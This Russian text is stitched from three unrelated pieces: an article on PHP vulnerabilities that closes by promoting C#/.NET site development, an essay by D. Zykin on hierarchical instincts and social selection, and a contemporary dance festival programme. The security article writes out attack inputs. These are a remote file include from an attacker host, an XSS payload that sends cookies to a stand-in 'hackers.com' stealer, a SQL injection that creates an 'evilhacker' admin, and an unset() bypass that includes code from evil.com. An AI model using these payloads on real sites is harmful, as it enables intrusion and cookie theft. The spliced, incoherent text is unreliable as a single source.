Все, начиная от простых пользователей, заканчивая директорами крупных предприятий, хорошо понимают, что наступление Internet на повседневную жизнь неизбежно. И очень немногие организации еще не имеют или, как минимум, не задумывались иметь свою страничку во всемирной сети. И каждый, кто отважился на этот вынужденный шаг, становится перед выбором: сделать статичную, никому неинтересную страницу, или же создать сайт  - достойный, интерактивный с динамическим содержимым.

Если вы делаете выбор в пользу динамичности, то вы станете перед выбором номер два: кто и как будет писать программную составляющую проекта?

Довольно часто на выбор скриптов для сайта влияет их доступность, популярность и... бесплатность (или ценовая политика производителя). Однако, в основу своего выбора наряду с внешним удобством использования и популярностью необходимо поставить и еще один немаловажный фактор: безопасность.

Впрочем, если ваш сайт представляет собой нечто не имеющее особой привлекательности для хакеров, тогда вам нечего опасаться… кроме того, что в один пасмурный день, зайдя на свое детище, вы увидите на главной странице совершенно не то, что вы там разместили.

Язык PHP стал очень популярным для написания web приложений, создания динамических страниц, управления содержимым сайтов. Причин тому множество, но в первую очередь, это простота самого языка программирования, простота использования скриптов, поддержка интерпретатора PHP популярными web серверами, открытость кода. Впрочем, последнее может быть достаточно условным и применимо в большей степени к самому интерпретатору.

Но, глядя на все указанные преимущества и популярность, следует подумать об одном: почему та же статистика говорит, что около 80% (если не больше) всех взломов в сети происходит с использованием недочетов в PHP скриптах, и, в первую очередь, скриптах бесплатных.

Конечно же, бесплатность и открытость подразумевает не только популярность у пользователей, но и у исследователей кода, намерения которых могут быть самыми разнообразными. Так что, за популярность всегда приходится платить: либо за сам продукт — программистам высокого уровня профессионализма (а это не всегда спасает, как мы увидим далее), либо постоянными опасениями того, что ваш сайт может стать очередной жертвой взлома.

Все же, прежде чем говорить о путях решения проблем, давайте остановимся на самих проблемах подробнее.

Ошибки программистов или карма?

По большому счету, все ошибки программистов сводятся к тому, что переменные, которые пользователь может определить (или переопределить), проходят недостаточную фильтрацию. Так, к примеру, если в функцию eval() передается строка данных, один компонент которой определяется пользователем, то что мешает этому пользователю сформировать передаваемые данные таким образом, что бы в результате выполнился нужный ему код PHP?

.include

Самой «злой» ошибкой программистов PHP несколько лет считается т.н. include bug. Отсутствие достаточной фильтрации переменных, передаваемых в качестве параметра в функции типа include() могут привести (при благоприятных условиях) к внедрению произвольного кода в программу. Результат – компрометация системы.

Правда, есть несколько ограничивающих эту уязвимость условий:

• для включения удаленного файла – соответствующая конфигурация интерпретатора,
• иногда – включенные register_globals.

Впрочем, все это довольно часто встречается и поныне на массовых хостингах.

Некоторое время назад мне пришлось встретить сайт, видимо самописный, где навигация по страницам представляла собой нечто вида:

index.php?page=contacts.php

Даже не стоит сомневаться, что на этом сайте сработало удаленное включение файла. Динозавры не вымерли!

Эта уязвимость в той или иной форме является хитом среди уязвимостей и выпускаемых хакерами эксплоитов и сейчас: 50 из 69 эксплоитов для web приложений, опубликованных на milw0rm.org в июле 2006 г., использовали именно уязвимость включения файлов.

Свежий пример. Хороший, качественно сделанный портал mambo тем не менее пестрит ошибками программистов на публичных досках сети, публикующих свежие уязвимости. Очередная уязвимость была найдена в файле admin.cropcanvas.php компонента com_cropimage 1.0. В 7-й строке есть незамысловатый код:

require_once $cropimagedir."class.cropinterface.php";

Соответственно, если register_globals включены в ini файле, то хакер может передать переменную cropimagedir в GET или другом запросе, например:

http://[уязвимый_сайт]/[путь_к_порталу]/administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=http://[сайт_хакера]

предварительно поместив на [сайте_хакера] файл class.cropinterface.php с нужным ему кодом.

.XSS

Довольно популярная уязвимость, значение которой часто недооценивается – уязвимость «межсайтового скриптинга» (cross site scripting). Популярность ее обусловлена в первую очередь сложностью проведения всех возможных проверок передаваемых данных на предмет внедрения кода, который может быть выполнен в контексте различных броузеров.

Суть уязвимости, как вы уже могли догадаться, заключается в том, что пользователь со злым умыслом может передать данные серверу или другому пользователю (напр., специальным образом сформированный URL), которые могут вызвать искажение информации, отображаемой на странице. Обычно это характерно для любых скриптов, где так или иначе разрешены вставки тегов.

Самый банальный пример, когда данные из URL передаются без очистки «как есть» в html код страницы, что мы можем наблюдать в phpCommunityCalendar 4.0.3. Так, следующий запрос приведет к выполнению java script кода alert(‘XSS’), в результате чего пользователь увидит окошко предупреждения с надписью “XSS”:

http://[уязвимый_сайт]/[путь_к_скрипту]/week.php?LoName=<script>alert('XSS')</script>

Следующий немудреный пример имеет уже чисто практическое значение для хакера. В мае 2006 г. были опубликованы данные о том, что если в известном форуме phpBB версии до 2.0.19 разрешены вставки html кодов, то имелась возможность внедрить злонамеренный java script код, который бы воровал cookie пользователей:

<pre a='>' onmouseover='document.location="http://hackers.com/cookie_stealer.php?c="+document.cookie' b='<pre' > http://www.somesite.com/</pre>

Разумеется, что пусть http://hackers.com/cookie_stealer.php взят совершенно произвольно и должен указывать на реальный скрипт, который будет коллекционировать данные из cookie попавшихся на эту приманку пользователей форума. Соответственно, вариаций внедрения кода в данном случае может быть масса.

.SQL injection

Вторая по популярности уязвимость PHP скриптов – внедрение SQL кода.

Как несложно догадаться, уязвимость характерна для приложений, использующих базы данных SQL. Суть уязвимости заключается в том, что данные из запроса пользователя поступают непосредственно (или после определенной обработки) в SQL запрос. Соответственно, недостаточная фильтрация может стать причиной манипулирования SQL запросами. Какой запрос может иметь место? Все зависит от ограничивающих условий, накладываемых фильтрацией переменных, и фантазии хакера. Возьмем один из свежих примеров. Уязвимость в приложении proManager v.0.73, которое распространяется с открытым кодом. Пример запроса, который создает нового администратора проекта c именем evilhacker и паролем neverhack:

http://www.site.com/note.php?note_id=-1%20INSERT%20INTO%20users%20(id.username.password.name.email.can_add_user)%20values%20(1.evilhacker.neverhack.evilhacker.evilhacker@newmailserver.com.1)/*

Таким образом, основным недостатком приложений на PHP с открытым кодом является доступность (т.е. как-раз сама открытость) кода для пытливых умов хакеров. И, поверьте, не всегда хакеры выкладывают свои наработки на баг-трек ленты и, уж тем более, не всегда сперва предупреждают о найденных ошибках разработчика. Примером тому могут служить взломы сайтов разработчиков известных скриптов форумов phpBB и Invision Power.

Карма или ошибки разработчика?

Итак, с одной стороны можно подумать, что корень всех зол в некомпетентности разработчиков программного кода скриптов. Или, по крайней мере, в их неосведомленности в методах хакерских атак. Конечно, на программистах лежит большая ответственность за фатальные ошибки, но и они не всегда могут предусмотреть один аспект!

Ненадолго вернемся к атакам класса SQL инъекций.

Одной из функций, которая позволяет произвести фильтрацию и экранирование всех опасных для SQL запроса символов, является функция PHP mysql_real_escape_string (хотя, на самом деле, это скорее функция MySQL связанная с PHP). Но не так давно была обнаружена ошибка в базах данных MySQL, которая позволяла обойти фильтрацию этой функции с использованием мультибайтовой кодировки (например UTF-16). И все приложения, использующие эту (как и некоторые другие функции экранирования вредоносных символов) становились незащищенными перед хитроумными взломщиками, которые обладали исходными кодами приложений (будем ли мы гадать, что случилось бы, если бы у взломщиков этих самых открытых кодов не было?).

Заметим однако, что это не первая и, уж тем более, не единственная ошибка разработчиков популярных платформ для хранения баз данных и языков программирования. Но, мы говорим сегодня только о PHP.

В конце прошлого года появились новости об уязвимости, которая позволяет переписать данные массива $GLOBALS. Чем это грозит пользователям приложений с открытым кодом? Дело в том, что в PHP есть несколько глобальных массивов, которые хранят данные, передаваемые пользователем: _GET, _POST, _COOKIE, _FILES. Массив $GLOBALS отличается от других тем, что через него можно получить доступ к любым глобальным переменным. Т.о., используя эту уязвимость, хакер мог переписать глобальные переменные (даже инициализированные в самом скрипте) и получить доступ к исполнению нужного кода в системе, например, используя уже описывавшуюся ситуацию с include bug. Перезапись переменных массива $GLOBALS могла быть осуществлена тем или иным способом (через суперглобальные массивы _GET, _POST или через массив загружаемых файлов - _FILES) в зависимости от версии PHP. Ошибка была настолько опасной, что многие известные разработчики приложений с открытым или закрытым кодом стали выпускать сразу же новые версии своих программ, которые перед выполнением важных функций проводили проверку входящих данных на переменные $GLOBALS, дублирующиеся в других глобальных массивах.

Неизвестно сколько жертв было среди пользователей и производителей после публикации уязвимости перезаписи $GLOBALS, но вот в январе 2006г. была найдена еще одна интересная особенность в основе PHP интерпретатора – zend engine. Более шести месяцев понадобилось разработчикам PHP, чтоб исправить эту уязвимость, суть которой в двух словах заключается в следующем. PHP повсеместно использует таблицу хешей Zend’а, например для хранения указателей на потоки, передаваемые данные. Более того, массив типов данных и глобальная таблица символов представляют ни что иное как хеш таблицу. Функция unset() использует хеш таблицы для очистки значения доступной переменной. Поиск в таблице производится по индексу, при чем доминирующим является цифровой, а не буквенно-цифровой индекс. Т.о., unset удалит в первую очередь то, что будет соответствовать цифровому индексу. Но что будет, если имя переменной обладает эквивалентом цифрового хеша другой переменной? В таком случае, если unset будет передано имя этой второй переменной, то удалится не она, а переменная с именем, равным цифровому хешу.

Не понятно? Тогда возьмем пример. Функция unset() иногда используется разработчиками скриптов для быстрой фиксации некоторых уязвимостей, что и имело место, например, в довольно популярном скрипте форума miniBB. Разработчики сделали заплатку, по их мнению фиксирующую уязвимость «инклуда» через переменную includeHeader, прописав в начале уязвимого кода функцию unset($includeHeader). Все бы было ничего, если бы не найденная уязвимость, касающаяся этой функции. Для того, чтоб заплатка не имела смысла перед мыслью взломщика, достаточно в запросе GET передать переменную с именем, которое соответствует цифровому хешу-индексу переменной includeHeader. В результате, мы можем так же как и раньше использовать функцию include() для внедрения удаленного скрипта с нужным нам кодом:

http://site.com/index.php?includeHeader=http://www.evil.com/?&-269001946=1&-834358190=1

В примере указаны индексы для обоих версий PHP (4 и 5).

Некоторые размышления

Итак, что же делать? Использовать ли скрипты, написанные на PHP для серьезных проектов? Почему бы и нет? По крайней мере, не все ведь программисты выкладывают код для всеобщего обозрения. Есть некоторые варианты шифрования исходного кода, хотя и они не на 100% обеспечивают от его раскрытия. Но, как бы там ни было, «неоткрытый» код проектов ставит определенные трудности для взломщика, которых может он не встретить перед взломом скриптов общего доступа.

В любом случае, мы можем порекомендовать обратить внимание на приведенную нами информацию, и тщательно подходить к вопросу выбора разработчика приложений для своего проекта. Не пренебрегать требованиями безопасности, если вам важен имидж проекта. И, конечно же, полагаться больше на авторов, которые работают не на публику, а на себя, потому что им более важна безопасность клиентов, поскольку от этого зависит их работа, а значит и прибыль.

А как на альтернативный вариант для web разработок предлагаем обратить внимание на технологию .NET. Не говоря о том, что сама платформа является продуктом с закрытым кодом, язык программирования C# включает в себя преимущества языков C++ и Java.

Далее мы предлагаем Вам посмотреть на некоторые преимущества разработки сайта с использованием языка высокого уровня C# (читается си шарп).

Компилирование кода.

Написанный код при первом обращении компилируется и впоследствии выполняется уже скомпилированный код, в отличие от PHP. Это заметно ускоряет работу приложений. Веб-сервер сам выполняет компиляцию. Если вы заменили исходники, сервер сам при первом обращении к странице проведет перекомпиляцию, без вашего внимания.

Код выполняется быстрее, занимает меньше ресурсов, и при этом процесс разработки не усложняется. Скорее наоборот, в случае ошибки вы можете получить полный листинг компилятора, с подробным описанием ошибки.

Основные характеристики языка.

Программист, привыкший к платформе Microsoft, может представить себе C# как промежуточный вариант между C++ и Visual Basic, если рассматривать сложность языковых конструкций и возможности языка.

C# имеет C стиль синтаксиса (для управляющих конструкций, блоков кода, описания сигнатуры методов и др.), много общего с Java (отсутствие множественного наследования и шаблонов, наличие сборщика мусора) и Дельфи (ориентированность на создание компонент), в то же время имеет и свой колорит.

При создании языка в основу дизайна легла легкость использования, доминирующая над мощностью языка и скоростью выполнения. Отсюда и сборщик мусора с управляемыми объектными ссылками, который автоматически освобождает за Вас память. Вы также получаете безопасность работы с типами, а это, по мнению многих, является вторым важнейшим фактором избежания ошибок.

C# объектно-ориентированный язык. Более того, это язык, ориентированный на написание компонент.

Цельность концепции видна, скажем в реализации упаковки/распаковки. Это позволяет рассматривать все типы (даже примитивные, например integer) как объекты, что разрешает многие проблемы дизайна приложений.

При создании языка рассматривалась не только простота написания приложений, но и их поддержки — в связи с чем в язык включили поддержку XML комментариев и контроля версий. Настоящий подарок для программистов.

Помимо сборщика мусора и безопасности работы с типами для избежания ошибок в языке также применяется автоматическая инициализация переменных. Все типы, которые размещаются в стеке (value types, к которым относятся примитивные типы, структуры и прочие наследники класса ValueType) инициализируются нулями. Объекты остальных типов размещаются в куче, доступ к ним осуществляется по объектной ссылке, и ссылки эти инициализируются в значение null (которая говорит, что данная ссылка не имеет ассоциированного объекта в куче).

В C# представлена концепция пространств имен, аналогичная пакетам в Java. Это позволяет иерархически структурировать Вашу систему типов, делая код намного более понятным и позволяя избежать проблем с именованием. Вы можете рассматривать пространства имен как директории, а языковые типы как файлы в этих директориях.

Возможности расширения решения

Включена поддержка мультипроцессорных и кластерных решений. Что позволяет при написании приложения, рассчитывать на то, что систему можно будет без труда расширять.

Обработка ошибок.

 В связи с новыми концепциями (в частности, с компиляцией программных текстов) добавлены новые возможности по обработке ошибок. На стадии разработки можно получить полную информацию об ошибке и листинг нужного куска кода. Для обработки ошибок, которые могут случиться во время выполнения вашего приложения вы можете использовать новую директиву ErrorPage.

И самое главное, много ли вы видели информации об уязвимостях, найденных в продуктах, написанных на C#?

создать сайт 

Десятки тысяч лет человек пребывал в дикости. По историческим меркам первые очаги цивилизации и государственности появились совсем недавно. Древние, полузвериные программы поведения, на уровне инстинктов сформировавшиеся у человека в первобытную эпоху, до сих пор никуда не делись. В том числе до сих пор сохраняют актуальность инстинкты, связанные с поддержанием иерархических отношений в стае, стаде. И не важно, что человеческое стадо сейчас называют латинским словом «социум», природа об этом не ведает. К сожалению, не ведает об этом и большинство населения, а вот элита, как не трудно догадаться, находится в курсе дела, и ловко вертит толпами, играя на врожденных инстинктах доминирования и подчинения. Вам не приходило в голову, почему диктаторы, харизматические лидеры, автократы всех мастей, находясь на публике, так часто окружают себя детьми? Да потому, что таким образом, они активируют у масс мощную программу подчинения. Не верите? Что ж, обратимся к этологии - науке о поведении животных.


Как известно, стадом павианов руководит небольшая группа пожилых самцов. Интересно, что путь во власть они начали, образовав союз ещё в молодости, и вместе поднимались наверх по очень жестко структурированной «карьерной» лестнице. К старости, добившись цели, единственной их радостью становятся детёныши, которым они передают свой жизненный опыт. Очень строгий ко всем остальным членам стада, но покровительственно добрый к детям, представитель «властной элиты», оказывается со всех сторон окруженным ими. Инстинктивная программа, присутствующая у всех павианов, помогает безошибочно распознать вожака (вождя!) - это немолодой самец, вокруг которого кучкуются ребятишки. Подчиненные боятся самцов-доминантов, испытывают к ним бессильную злобу и для эмоциональной разрядки, срывают свой подавленный гнев на других, на тех, чей ранг ещё ниже и так до самых нижних ступеней. Но когда доминант наказывает достаточно высокоранговую, но всё же не входящую в «элиту» особь, всё дно стада подключается к расправе. Наказание, травля сильного - миг счастья для всех обитателей дна, у которых появляется возможность наконец то отвести душу. Таким образом, у высших иерархов есть прекрасная возможность давить конкурентов, натравливая на них низы. В этом разгадка невероятной популярности публичных казней, пыток, аутодафе и тому подобных жутковатых вещей. Как видим, иерархическая пирамида у павианов, во многом похожа, на ту, что существует у человека.

Есть ещё один важный момент. Страх перед властителем заставляет членов стада всячески демонстрировать к нему свою лояльность. Порой это доходит до самоуничижения, до рабской привязанности, принимающей форму своеобразной любви. Что ж, беспредельная ненависть и столь же беспредельная любовь к тирану - типичны и для человеческого стада.
Идём дальше. В обезьяньем стаде иерархические отношения держатся на том, что все друг друга знают, ранг каждого известен. Но такие группы невелики, а каким же образом человеку удалось создать огромные государства, целые империи, построенные, тем не менее, на тех же самых элементарных иерархических принципах, с опорой на те же самые инстинктивные программы? Решение оказалось простым, как и всё гениальное. Нужно придумать систему знаков, и пометить ими участников пирамиды. В самом явном виде это присутствует в армии. Погоны! Солдату не обязательно знать имя командира, чтобы ему подчиняться. Он сразу видит, кто перед ним. Существуют и другие иерархические знаки. Милицейская форма, документы, подтверждающие статус, машина с мигалкой и так далее.

А помните, совсем недавно черная «Волга» была типичным атрибутом партийной власти. Очень поучительно наблюдать, как при крушении предыдущей системы власти менялись ранговые символы, а в сознании некоторых людей еще сохранялась старая система обозначений. Бывшие обкомовцы уже пересели в «Мерседесы» и черные «Бумеры», и хотя в свободной продаже появились автомобили куда более качественные и роскошные чем «Волга», некоторые люди бросились покупать именно черную «Волгу», притом, что могли себе позволить машину и получше. Вспомним яростную борьбу с привилегиями. Кто-то исхитрился углядеть в этом склонность русского народа к уравнительному идеалу. Поразительная слепота. Никаким уравнительным идеалом тут и не пахло. Привилегия - это характернейший высокоранговый знак. Отказывая партийной элите в праве пользоваться привилегиями, всеми этими спецраспределителями, дачами и прочим, массы тем самым заявляли, что не признают право советской элиты на иерархический знак, то есть на власть. Иными словами, ненависть к привилегиям была следствием кризиса легитимности власти. Иногда удивляются, а почему же после крушения советского строя запредельная ненависть к привилегиями тут же исчезла. Мало того, тот вчерашний обкомовец, тот же самый человек обзавёлся куда более дорогостоящими привилегиями, и массы это проглотили без особых вспышек ярости. Данное обстоятельство весьма удивило тех, кто в период борьбы с привилегиями сделал выводы о склонности русских к уравнительному идеалу. Они оказались совершенно неспособны понять мотивацию масс, они назвали такое поведение иррациональным, некогерентным, в общем, потерей разума. Действительно, ничего себе уравнительный идеальчик, ненавидеть за «Волгу» и спокойно взирать на «Мерседес» или «Бумер»! Но никакого парадокса на самом деле тут нет, ларчик открывается просто. Элита нашла новый способ обоснования своей власти - демократически выборы. Сработал новый способ легитимации, выражаемый словами: «мы правим потому, что вы же нас выбрали», и массы приняли новую систему ранговых знаков, и не особо возмущаются даже в тех случаях, когда новый знак навесили на старое лицо.

Кстати, многие обращали внимание на то, что массы боролись с привилегиями и уравниловкой одновременно, хотя вроде бы одно противоречит другому. Если ты против привилегий, то есть против того, чтобы одни по уровню жизни возвышались над другими, то, как ты можешь тут же отвергать и уравниловку, требуя большего расслоения общества по материальному признаку? Это кажущееся совершенно неразрешимым противоречие, имеет элементарное объяснение. Борясь с привилегиями, человек покушался на чужой статус, стремясь понизить чужой ранг, но ни в коем случае не свой! Отвергая уравниловку, этот же человек хотел повысить свой ранг, считая, что уж его то материальное положение, конечно улучшится. Здесь нет никакого противоречия. Работает инстинктивная программа иерархической борьбы внутри стада, а поскольку поступки обуславливаются инстинктом, а не сознательными рассуждениям, то и толком объяснить своё поведение человек никак не может.
Знание того, что у людей существует врождённая программа подчинения власти, даёт ключ к пониманию и других, на первый взгляд, совершенно абсурдных поступков, которые совершают массы. Расхожая фраза «быдло нуждается в хозяине» - не просто эмоциональное клише. Какие поступки мы называем быдловатыми? Да это те поступки, которые совершаются бездумно, то есть определяются не разумом, а продиктованы инстинктивной программой. Помните период дикого психоза «пустых» прилавков? Ослепленная инстинктом толпа дошла до того, что покупала в огромном количестве даже скоропортящиеся продукты, съесть их полностью не могла и через пару дней выбрасывала. Никогда не забуду очереди за хлебом в 1991 году, когда покупатели набирали по пять-шесть батонов, и также навсегда останутся в моей памяти помойные баки, заполненные очерствевшим хлебом. Та часть общества, которая не позволила разгуляться инстинкту с недоумением и отвращением следила за впавшими в психоз. Ну как, знакомая картина? Я думаю, каждый может привести множество примеров на этот счет.

Так вот, люди, чьё поведение в значительной степени определяется инстинктивными программами, и в вопросах политики идут у них на поводу. Если какому-то человеку удалось активизировать у населения данную программу, иными словами толпа увидела и признала в нём вожака - всё, толпа будет ему подчиняться. Вожак может быть аморальным, вороватым, страдать алкоголизмом, едва шевелить языком, но массы простят ему это. Всё равно он будет побеждать своего конкурента, пусть даже честного, умного, доброго, компетентного, но не умеющего запускать у населения биологическую программу подчиняться. Поэтому тембр голоса оратора, его форма носа, лысина и т.п. - действительно являются важными факторами политики. Это то, что помогает или, напротив, мешает политику активизировать у населения программу опознавания вожака. И апеллировать к разумным аргументам бесполезно, толпа, действительно, слепа и глупа. Великие вожди всегда это понимали или интуитивно чувствовали.
Те, кто является хозяином своих инстинктов, и не позволяют первобытным позывам контролировать себя, действительно, не понимают другую часть общества. Между ними пропасть. Тем более, что, находясь во власти инстинкта, человек не может рационально объяснить причины своего поведения. Он и сам не понимает, почему поступил так, а не иначе. Но как существо всё-таки разумное, он пытается рационализировать своё поведение, то есть задним числом подвести такую объяснительную базу под свои поступки, чтобы создавалось впечатление, будто бы они являются результатом тщательного обдумывания, продиктованы расчётом и поиском выгоды. Попытки искать в этих объяснениях здравый смысл неизменно заводят в тупик. Ничего вы там не найдёте, зато на каждом шагу будете спотыкаться о вопиющие логические противоречия, утрату чувства меры, путаницу между причиной и следствием и так далее. В конце-концов, ваш собеседник или замкнётся, или устроит истерику с выяснением отношений. Неудивительно, ведь вы его выставляете дураком (что недалеко от истины!), и к тому же разрушаете психологически удобный ему мирок. Короче, имея дело с инстинктами надо соблюдать осторожность.
Итак, о роли врожденных инстинктов мы поговорили, а давайте теперь немного побеседуем об эволюционных законах. Попробуем применить их к социуму и посмотрим, какие это даст результаты.

Вспомним, чему нас учили в школе. Нам говорили, что эволюция идёт по линии отбора особей, обладающих некими качествами, которые делают их более приспособленными по сравнению с их конкурентами. Случайно возникшие анатомические преимущества, например, более длинная шея, закрепляются, передаются по наследству и, в результате появляется группа особей, у которой данный признак воспроизводится стабильно, а не является редким исключением из правил. Так появляется новый вид. Условия окружающей среды могут поменяться, и длинная шея из конкурентного преимущества может запросто превратиться в серьёзную обузу, и тогда вид либо вымрет, не оставив «наследника», либо успеет приспособиться к новым условиям и дать начало другому виду. Это, конечно, крайне упрощённая схема, но основная суть именно такова. Обратите внимание, выживает тот, кто приспособлен к среде, и нигде не сказано, что это обязательно тот, кто сильнее, быстрее, умнее и так далее. Приспособлен - значит адекватен условиями, в которых существует организм. И в некоторых ситуациях сила не просто не нужна, а, напротив, является помехой. За всё приходится платить, и у каждого преимуществ есть своя оборотная сторона, свой минус. Могучие динозавры давно исчезли с лица Земли, а маленькие, слабенькие тараканы, возникнув задолго до гигантских ящеров, до сих пор ползают по планете и прекрасно себя чувствуют.

Мало того, эволюция может идти не только по пути усложнения организма, но и, напротив, по пути дегенерации, упрощения. В некоторых случаях дегенератом быть выгодно! А что, сидит себе вошь на собаке и спокойненько пьёт кровь. Посмотрите, насколько собака умнее, сильнее, развитее, а ничего с паразитом поделать не может. И чья жизнь после этого легче? У паразитических организмов атрофировались многие органы, и в этом смысле они - явные дегенераты. Но в том то и дело, что эти органы им просто ни к чему, и они избавились от ненужного балласта.
Пример того, как дегенерация, уродство, формальная неполноценность может стать козырем в борьбе за существование, даёт интересный опыт, проведённый Эрихом фон Хольстом. Он изучал поведение речных рыбок (гольянов) и обратил внимание на то, что у них исключительно сильно развит стайный инстинкт. То есть, представитель группы никогда не отплывает далеко от своих сородичей, он живёт «с оглядкой на коллектив». Эрих фон Хольст установил, что механизмы стайного инстинкты у рыбок данного вида содержатся в переднем мозге. И в качестве эксперимента он удалил эту часть мозга у одного представителя группы. Как видим, полученная особь была изуродована, её мозг стал значительно проще чем у сородичей, то есть искусственным образом получился дегенерат. Учёный вернул рыбку в стаю и стал наблюдать за её дальнейшим поведением. Как и следовало ожидать, рыбка перестала обращать внимание на то, где находится её стая. Что неудивительно. Поражает другое, как повела себя стая. Все рыбки, как один, взялись плавать за калекой, и самая безмозглая особь стала вожаком.
То есть, приспособляемость - это способность учитывать окружающую реальность, и этот учёт необязательно ведёт к победе формально более сильных и развитых. Повторюсь, в некоторых случаях сложность может оказаться избыточной, а сила излишней, съедающей неоправданно много энергоресурсов. Да простит мне читатель столь долгое вступление, увы, иначе было нельзя. Но вот сейчас, мы уже можем перейти к сути, к рассмотрению биосоциальных процессов.

В ряде случаев физическая сила, агрессия вкупе со смелостью, конечно, повышают конкурентоспособность особи во внутривидовой борьбе, но за это приходится платить очень высокую цену. Человек - очень агрессивный вид, для которого убийство себе подобных не редкость. У других млекопитающих турниры между самцами обычно носят ритуальный характер и крайне редко приводят к травмам и тем более смерти участников стычки. Сравните это с дуэлями за честь дамы.

Кроме того, люди постоянно ведут войны друг с другом. И, разумеется, в первую очередь погибают именно те, кто не стремится уклоняться от схватки, кто рвётся в самую гущу боя, кто оказывает сопротивление до последней капли крови и предпочитает смерть рабству. Все эти факторы способствуют уменьшению числа сильных, агрессивных, неуступчивых представителей человеческой популяции, и такой отбор длится тысячелетиями.

Смотрите, в большинстве случаев даже жестокий и кровавый завоеватель всё-таки не уничтожает поголовно порабощённое население, поскольку не видит смысла властвовать над выжженной землёй. Но всегда без колебаний расправляется с теми, кто оказывает ему сопротивление. Завоеватель понимает, что у побеждённых необходимо искоренить саму мысль о сопротивлении. Поэтому во время войн больше всего страдают как раз наиболее мужественные люди, их целенаправленно уничтожают. Да и сами они нередко ищут смерти, идут в последний бой, заранее зная, что обречены. Напротив, трусы, подхалимы, прирождённые рабы угодны завоевателям. Победитель всячески поощряет дух рабства у побежденного народа. Гордые люди, с развитым чувством собственного достоинства значительно больше рисковали жизнью и во время религиозных чисток. Одни с легкостью переходили в чужую веру, если это помогало им выжить и сохранить своё имущество, другие принимали смерть за свои убеждения.
Говорят, что лучше один раз наесться мяса, чем всю жизнь питаться падалью. Но есть и другое известное изречение о том, что живая собака лучше, чем мёртвый лев. В этих словах отражено два принципиально разных подхода к жизни и смерти.

На это явление обращали внимание многие мыслители, в том числе создатель теории пассионарности Лев Гумилев. Что происходит с народом, в котором рабская модель поведения является доминирующей, то есть с народом, оставшемся без своих «сильных»? Он оказывается неспособным себя защитить. Порой побежденный народ исчезает, но не в биологическом смысле этого слова, а в культурном. В биологическом смысле, повторюсь, гены «покорных» как раз сохраняются и передаются потомкам. Указанные факторы отбора не могли не оказать существенного влияния на биосоциальные процессы.

Учтём, что и государственная власть обычно культивирует стереотипы подчинения. Как уже говорилось, пробившиеся наверх защищают свой статус и, разумеется, опасаются «сильных», находящихся на более низких ступенях социальной пирамиды. Бунтарей и смутьянов всегда наказывали и наказывают гораздо строже других преступников. Кровная месть запрещена, да и носить оружие большинство населения не имеет права. В результате, массы оказываются полностью зависимыми от государства, от законов, которые установлены властной элитой. И люди, даже некоторые «сильные», кто осознанно, кто интуитивно, всё чаще выбирают модель поведения слабых. Ведь «сильный» понимает, что его сила, личное мужество и твёрдость всё равно не идут ни в какое сравнение с мощью государства, по сравнению с ней он - слаб. Когда в древнейшие времена люди жили небольшими группами, до вождя племени было «рукой подать», и у «сильного» были значительные шансы самому стать вождём, продемонстрировав соплеменникам своё физическое и волевое превосходство. Но сейчас социум разросся до гигантских размеров и невероятно усложнился, а вместе с тем усложнилась и борьба за власть. Одной только агрессии, силы и способности её применять недостаточно. Как раз наоборот, очень часто приходится смирять себя, прикидываться слабым, уметь идти на компромисс, создавать союзы, плести интриги и так далее.

Кстати, цивилизованность общества неразрывно связана с распространением в нём стереотипов поведения слабых и покорных. Думаю, все слышали остроумное утверждение о том, что сила плюс ум - величина постоянная, то есть чем больше сила, тем меньше в человеке ума и наоборот. Конечно, не стоит слушком буквально понимать данный афоризм, однако в нём много правды. Противостояние умного, культурного, но хиловатого парня и здорового, но простоватого и наглого детины, не зря стало классическим сюжетом в кино. Способность доказывать сложнейшие теоремы - вещь, конечно, хорошая, но никак не способствующая победе в драке, и неслучайно могильщиками наиболее цивилизованных народов нередко были именно те, кого считали дикими и отсталыми. Происходил откат назад. Однако, постепенно развиваясь, общества созданные варварами, сами в свою очередь выходили на цивилизованный уровень, сталкивались с теми же самыми проблемами, и терпели поражение от новой волны дикарей. И вот так по кругу.

Конечно, покорными управлять просто. Но в трудную минуту нужна не глина, а сталь. С другой стороны, безудержное варварство и диктатура сильных отрицательно сказывается на развитии культуры общества. Здесь нужен разумный баланс, и создание методов его достижения представляется исключительно важной задачей, для решения которой потребуются масштабные исследования генетиков, психологов, этологов, социологов, демографов и так далее.

Д. Зыкин

Фестиваль "ОКNО" ежегодно проходит на театральных сценах Петербурга c 2007 года. За это время он уже стал важным событием для мира современного искусства.

 

Цель фестиваля - познакомить зрителя с современным танцем (contemporary dance),объединить на одной площадке и представить зрителю лучшие достижения российских коллективов: как уже признанные выдающиеся работы, так и новые работы пластических и танцевальных театров, работающих в стиле модерн и контемпорари.

Исследуя взаимодействие танца с философией движения и возможностями человеческого тела, современный танец является синтезом различных техник и танцевальных стилей.

 

Многие коллективы уже способны представить не просто танцевальные постановки, а профессиональные пластические драматические спектакли, превращая современное танцевальное искусство в театр движений.

 

Программа:

 

Театр Танца "Игуан", СПб - "ЛЮБОВЬ В СУПЕМАРКЕТЕ"
Спектакль - результат вторжений в пространства торговых центров городов Петербурга, Ярославля, Красноярска, Кирова.
Основой для перформанса избрано исследование о влиянии молодого русского капитализма на романтические отношения.Что творится с душой человека в эпоху рыночных отношений? Отношения между мужчиной и женщиной, пониманием любви, то, что называют романтической любовью - что с этим происходит?..

"Театр Танца Саши Кукина", СПб - "Вспышка", фрагмент из спектакля
Вспышки бывают со знаком минус - вспышки эпидемии, насилия, жестокости безумия и со знаком плюс - страсти или нежности, например. Но все вспышки объединяет большое количество энергии, которое выбрасывается в короткий промежуток времени.

Театр Танца "Интеллбалет", СПб - "Паруса". Спектакль по мотивам живописи художника Игоря Иванова.

"Эксперимент" - независимый хореограф Екатерина Жаринова, г. Екатеринбург
Это междисциплинарный арт-проект, результатом которого является перформанс, сочетающий танец и фотографию.

"Без разговоров" - Независимый хореограф Анна Закусова, СПб. Простая человеческая история о взаимоотношениях мужчины и женщин. 

  "Холод" - независимый хореограф Иван Белозерцев, СПб
Работа о бесконечном и неизбежном одиночестве человека. Танцовщица двигается по сцене в луче света, а вокруг темное холодное пространство. Возможно, там, в этой пустоте, есть люди, возможно призраки.

OKNO dance project, СПб - "24 ЧАСА". За 24 часа с нашим телом может произойти все что угодно. А что с душой?...

OKNO dance projec - "Her Voice" - фрагмент пластического спектакля, Москва - СПб - История Марии Каллас и ее Голоса.

"Station 42", СПб - "ком. 2А"
История от бродячих артистах-оптимистах, как они сами себя называют.

 

